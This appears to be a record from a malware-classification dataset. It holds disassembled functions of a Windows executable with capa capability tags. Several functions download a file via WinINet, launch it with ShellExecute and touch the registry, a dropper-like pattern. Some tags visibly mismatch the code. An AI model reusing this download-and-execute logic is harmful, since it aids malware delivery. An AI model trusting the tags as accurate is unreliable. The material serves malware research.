joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140092170
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400ab1b4]
test esi, esi
mov rbx, rcx
jle 0x1400922a0
mov rax, qword [0x1400ab1b8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400921bb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140092245
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400921a0
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov rdi, rax
je 0x1400922c2
mov rax, qword [0x1400ab1b8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call sym._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400ab1b8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400922a7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14009223e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140092250
add dword [0x1400ab1b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x1400ab1b8]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14009223e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
nop dword [rax]
xor esi, esi
jmp 0x1400921c8
mov rax, qword [0x1400ab1b8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140092830
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400ab220]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400ab200]
test rbx, rbx
je 0x14009288c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140092883
test rsi, rsi
je 0x140092883
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140092868
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140092aa0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll_exit]
call qword [rax]
nop
nop

Function at 0x140092ab0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [sym.imp.msvcrt.dll__exit]
call qword [rax]
nop
nop
nop
Function at 0x140092ac0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140092ad8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140092ae0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140092af0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx r8d, word [rcx + 6]
movzx eax, word [rcx + 0x14]
test r8w, r8w
lea rax, [rcx + rax + 0x18]
je 0x140092b3d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rdx, r8
mov rcx, r8
jb 0x140092b34
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140092b3f
add rax, 0x28
cmp rax, r9
jne 0x140092b20
xor eax, eax
ret

Function at 0x140092b40
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140092bd0
mov rdx, qword [0x1400a89e0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x140092bbe
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x140092bbe
cmp word [rax + 0x18], 0x20b
jne 0x140092bbe
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140092bd0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140092ba9
add rbx, 0x28
cmp rbx, rdi
je 0x140092bd0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140092ba0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140092be0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400a89e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140092c00
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140092c08
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140092c00
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140092c5d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x140092c54
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140092c00
add rax, 0x28
cmp rax, r9
jne 0x140092c40
xor eax, eax
ret

Function at 0x140092c60
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400a89e0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140092c7f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140092c88
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140092c7f
movzx ecx, word [rax + 6]
mov eax, ecx
ret
Function at 0x140092ca0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400a89e0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140092cc0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140092cc8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140092cc0
movzx r8d, word [rdx + 6]
movzx eax, word [rdx + 0x14]
test r8w, r8w
lea rax, [rdx + rax + 0x18]
je 0x140092d10
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140092d07
test rcx, rcx
je 0x140092cc0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140092cf8
xor eax, eax
ret

Function at 0x140092d20
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400a89e0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140092d3f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140092d48
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140092d60
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400a89e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140092d80
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140092d88
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140092d80
movzx r9d, word [r8 + 6]
sub rcx, rdx
movzx edx, word [r8 + 0x14]
test r9w, r9w
lea rdx, [r8 + rdx + 0x18]
je 0x140092d80
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x140092dd4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140092de0
add rdx, 0x28
cmp r9, rdx
jne 0x140092dc0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140092df0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400a89e0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140092e12
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140092e20
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140092e12
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140092e12
movzx r10d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
test r10w, r10w
lea rdx, [r8 + rdx + 0x18]
je 0x140092e12
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
cmp rax, r9
mov r8, r9
jb 0x140092e75
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140092e88
add rdx, 0x28
cmp rdx, r10
jne 0x140092e60
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140092e97
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140092ea7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140092e7e
test ecx, ecx
jg 0x140092e90
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x1400c2f0f
Capabilities:
Hash data using fnv

Disassembly:
jmp 0x14011d3c0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov qword [rsp], 0
jmp 0x14011d3e8
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
mov rax, qword [rsp + 0x30]
cmp qword [rsp], rax
jae 0x14011d432
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x20]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
movabs rax, 0x100000001b3
mov rcx, qword [rsp + 0x20]
imul rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
jmp 0x14011d3dd
mov rax, qword [rsp + 0x20]
add rsp, 0x18
ret

Function at 0x1400c3590
Capabilities:
Delete file

Disassembly:
jmp 0x140217c10
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x140217c3c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1400c393c
mov eax, 0xffffffff
jmp 0x140217c3e
xor eax, eax
add rsp, 0x28
ret
Function at 0x1400c36ee
Capabilities:
Connect to http server
Create http request
Download url
Query environment variable
Receive data

Disassembly:
jmp 0x1400e6f90
push rbp
push rdi
sub rsp, 0x2d8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x76
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1402ad140]
xor rax, rbp
mov qword [rbp + 0x288], rax
lea rcx, [0x1402ca107]
call fcn.1400c75eb
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x140260b74]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov qword [rbp + 8], rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8w, 0x50
lea rdx, str.host
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rbp + 0x28], rax
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8w, 0x1bb
lea rdx, str.host
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetConnectA]
mov qword [rbp + 0x28], rax
lea rcx, [0x1402afbf8]
call fcn.1400c27f8
mov qword [rbp + 0x48], rax
lea rcx, [0x1402afaf0]
call fcn.1400c27f8
mov r8d, 0x104
lea rdx, [rbp + 0x70]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea rdx, [rbp + 0x70]
lea rcx, [0x1402afc98]
call fcn.1400c2334
lea rdx, [0x1402afac8]
lea rcx, [0x1402afc98]
call fcn.1400c331f
lea rcx, [0x1402afc98]
call fcn.1400c27f8
mov qword [rbp + 0x198], rax
cmp qword [rbp + 0x28], 0
je 0x1400e713f
mov eax, dword [rbp + 0x1b4]
or eax, 0x803100
mov dword [rbp + 0x1b4], eax
mov eax, dword [rbp + 0x1b4]
mov dword [rbp + 0x1b4], eax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rbp + 0x198]
mov rdx, qword [rbp + 0x48]
xor ecx, ecx
call fcn.1400c330b
test eax, eax
jne 0x1400e712c
lea rdx, str.saved
lea rcx, [0x1402b00a0]
call fcn.1400c296a
jmp 0x1400e713f
lea rdx, str.error
lea rcx, [0x1402b00a0]
call fcn.1400c296a
mov rcx, qword [rbp + 8]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x40]
lea rdx, [0x14025de80]
call fcn.1400c6713
mov eax, edi
mov rcx, qword [rbp + 0x288]
xor rcx, rbp
call fcn.1400c498b
lea rsp, [rbp + 0x298]
pop rdi
pop rbp
ret
Function at 0x1400c46a7
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1401741a0
mov rax, rcx
neg rcx
test rax, 7
je 0x1401741bd
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x140174218
test al, 7
jne 0x1401741b0
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x1401741d1
mov rdx, qword [rax - 8]
test dl, dl
je 0x140174242
test dh, dh
je 0x14017423c
shr rdx, 0x10
test dl, dl
je 0x140174236
test dh, dh
je 0x140174230
shr rdx, 0x10
test dl, dl
je 0x14017422a
test dh, dh
je 0x140174224
shr edx, 0x10
test dl, dl
je 0x14017421e
test dh, dh
jne 0x1401741d1
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret

Function at 0x1400c46e3
Capabilities:
Query environment variable

Disassembly:
jmp 0x140226aa0
sub rsp, 0x78
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.140226620
lea rcx, [rsp + 0x20]
call fcn.140226670
movzx eax, al
test eax, eax
jne 0x140226ae5
mov qword [rsp + 0x40], 0
lea rcx, [rsp + 0x20]
call fcn.140226650
mov rax, qword [rsp + 0x40]
jmp 0x140226bdf
lea rcx, [rsp + 0x20]
call fcn.140226770
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
call fcn.140226710
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x48]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
shl rax, 1
mov r9d, 0x40
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, rax
call fcn.1400c4a76
mov rdx, rax
lea rcx, [rsp + 0x28]
call fcn.1400c3ffe
lea rcx, [rsp + 0x28]
call fcn.1400c4f71
movzx eax, al
test eax, eax
jne 0x140226b7f
mov qword [rsp + 0x50], 0
lea rcx, [rsp + 0x28]
call fcn.1400c64bb
lea rcx, [rsp + 0x20]
call fcn.140226650
mov rax, qword [rsp + 0x50]
jmp 0x140226bdf
lea rcx, [rsp + 0x20]
call fcn.140226770
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x28]
call fcn.1400c74f1
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x38]
shl rax, 1
mov r8, rax
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
call fcn.1400c49ae
lea rcx, [rsp + 0x28]
call fcn.1400c7ea6
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x28]
call fcn.1400c64bb
lea rcx, [rsp + 0x20]
call fcn.140226650
mov rax, qword [rsp + 0x68]
add rsp, 0x78
ret
Function at 0x1400c4c1f
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x140171df0
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.140171770
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140171e2f
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1402cb020]
jmp 0x140171e39
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret

Function at 0x1400c4e90
Capabilities:
Query environment variable

Disassembly:
jmp 0x1402267f0
sub rsp, 0xb8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140226620
lea rcx, [rsp + 0x40]
call fcn.1402267a0
movzx eax, al
test eax, eax
jne 0x140226838
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call fcn.140226650
mov rax, qword [rsp + 0x70]
jmp 0x140226a09
lea rcx, [rsp + 0x40]
call fcn.140226770
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.140226710
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.140226770
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
mov r8, rax
xor edx, edx
xor ecx, ecx
call fcn.1400c60ce
cdqe
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x1402268de
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x40]
call fcn.140226650
mov rax, qword [rsp + 0x80]
jmp 0x140226a09
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, qword [rsp + 0x58]
call fcn.1400c4a76
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.1400c484b
lea rcx, [rsp + 0x48]
call fcn.1400c4238
movzx eax, al
test eax, eax
jne 0x140226945
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x48]
call fcn.1400c2d84
lea rcx, [rsp + 0x40]
call fcn.140226650
mov rax, qword [rsp + 0x88]
jmp 0x140226a09
lea rcx, [rsp + 0x48]
call fcn.1400c53a9
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x40]
call fcn.140226770
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call fcn.1400c60ce
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x1402269db
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x48]
call fcn.1400c2d84
lea rcx, [rsp + 0x40]
call fcn.140226650
mov rax, qword [rsp + 0xa0]
jmp 0x140226a09
lea rcx, [rsp + 0x48]
call fcn.1400c4805
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x48]
call fcn.1400c2d84
lea rcx, [rsp + 0x40]
call fcn.140226650
mov rax, qword [rsp + 0xa8]
add rsp, 0xb8
ret
Function at 0x1400c4eae
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x140171d20
mov qword [rsp + 8], rcx
sub rsp, 0x48
call fcn.1401716f0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140171d61
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1402cb020]
jmp 0x140171d67
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
add rsp, 0x48
ret

Function at 0x1400c4f7b
Capabilities:
Get geographical location

Disassembly:
jmp 0x140207560
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
call fcn.140206490
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x1402075c7
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
movabs r10, 0xe375262d7cd44270
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x40]
call qword [0x1402cb030]
jmp 0x1402075e9
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.1400c419d
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
add rsp, 0x58
ret

Function at 0x1400c4f94
Capabilities:
Terminate process

Disassembly:
jmp 0x14014e8c0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1400c5129
Capabilities:
Create process on windows
Query environment variable

Disassembly:
jmp 0x1400e7200
push rbp
push rdi
sub rsp, 0x248
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x56
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1402ad140]
xor rax, rbp
mov qword [rbp + 0x208], rax
lea rcx, [0x1402ca107]
call fcn.1400c75eb
lea rcx, [0x1402afaf0]
call fcn.1400c27f8
mov r8d, 0x104
lea rdx, [rbp + 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea rdx, [rbp + 0x10]
lea rcx, [0x1402afc98]
call fcn.1400c2334
lea rdx, [0x1402afac8]
lea rcx, [0x1402afc98]
call fcn.1400c331f
lea rcx, [0x1402afc98]
call fcn.1400c27f8
mov qword [rbp + 0x138], rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
lea r9, [0x140260b68]
mov r8, qword [rbp + 0x138]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x14025dd80]
call fcn.1400c6713
mov eax, edi
mov rcx, qword [rbp + 0x208]
xor rcx, rbp
call fcn.1400c498b
lea rsp, [rbp + 0x218]
pop rdi
pop rbp
ret
Function at 0x1400c5340
Capabilities:
Print debug messages

Disassembly:
jmp 0x140234e30
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x30]
mov rax, qword [0x1402ad140]
xor rax, rbp
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x30], 0
jne 0x140234e56
jmp 0x140234ed3
mov rcx, qword [rbp + 0x30]
call fcn.1400c46a7
inc rax
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x140234e6f
jmp 0x140234ed3
mov rax, qword [rbp]
shl rax, 1
mov rcx, rax
add rcx, 0xf
cmp rcx, rax
ja 0x140234e8c
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.1400c2fbe
sub rsp, rax
lea rax, [rsp + 0x30]
mov qword [rbp + 8], rax
mov rax, qword [rbp]
dec rax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x30]
mov r8, qword [rbp]
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.1400c3608
test eax, eax
jne 0x140234ed3
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.1400c498b
lea rsp, [rbp + 0x20]
pop rbp
ret
Function at 0x1400c5732
Capabilities:
Create process on windows
Query environment variable

Disassembly:
jmp 0x1400e7570
push rbp
push rdi
sub rsp, 0x268
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x5e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1402ad140]
xor rax, rbp
mov qword [rbp + 0x228], rax
lea rcx, [0x1402ca107]
call fcn.1400c75eb
mov dword [rbp + 4], 0
mov dword [rbp + 4], 0
jmp 0x1400e75c5
mov eax, dword [rbp + 4]
inc eax
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0x2710
jg 0x1400e75e3
lea rdx, [0x140260b64]
lea rcx, [0x1402b00a0]
call fcn.1400c296a
jmp 0x1400e75bd
mov ecx, 0x2710
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1402afaf0]
call fcn.1400c27f8
mov r8d, 0x104
lea rdx, [rbp + 0x30]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea rdx, [rbp + 0x30]
lea rcx, [0x1402afc98]
call fcn.1400c2334
lea rdx, [0x1402afc48]
lea rcx, [0x1402afc98]
call fcn.1400c331f
lea rcx, [0x1402afc98]
call fcn.1400c27f8
mov qword [rbp + 0x158], rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
lea r9, [0x140260b68]
mov r8, qword [rbp + 0x158]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
mov edi, eax
lea rcx, [rbp - 0x30]
lea rdx, [0x14025db00]
call fcn.1400c6713
mov eax, edi
mov rcx, qword [rbp + 0x228]
xor rcx, rbp
call fcn.1400c498b
lea rsp, [rbp + 0x238]
pop rdi
pop rbp
ret

Function at 0x1400c57a0
Capabilities:
Set environment variable

Disassembly:
jmp 0x140228950
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x38]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
add rsp, 0x28
ret
Function at 0x1400c59ee
Capabilities:
Query environment variable
Set registry value

Disassembly:
jmp 0x1400ec640
push rbp
push rdi
sub rsp, 0x498
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0xba
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1402ad140]
xor rax, rbp
mov qword [rbp + 0x458], rax
lea rcx, [0x1402ca107]
call fcn.1400c75eb
lea rcx, [0x1402afaf0]
call fcn.1400c27f8
mov r8d, 0x104
lea rdx, [rbp + 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea rdx, [rbp + 0x10]
lea rcx, [0x1402afc98]
call fcn.1400c2334
lea rdx, [0x1402afba8]
lea rcx, [0x1402afc98]
call fcn.1400c331f
lea r8, [0x1402afbd0]
lea rdx, [0x1402afc98]
lea rcx, [rbp + 0x288]
call fcn.1400c65fb
lea rcx, [rbp + 0x288]
call fcn.1400c27f8
mov rdx, rax
lea rcx, [rbp + 0x140]
call fcn.1400c3c57
lea rcx, [0x1402afb68]
call fcn.1400c27f8
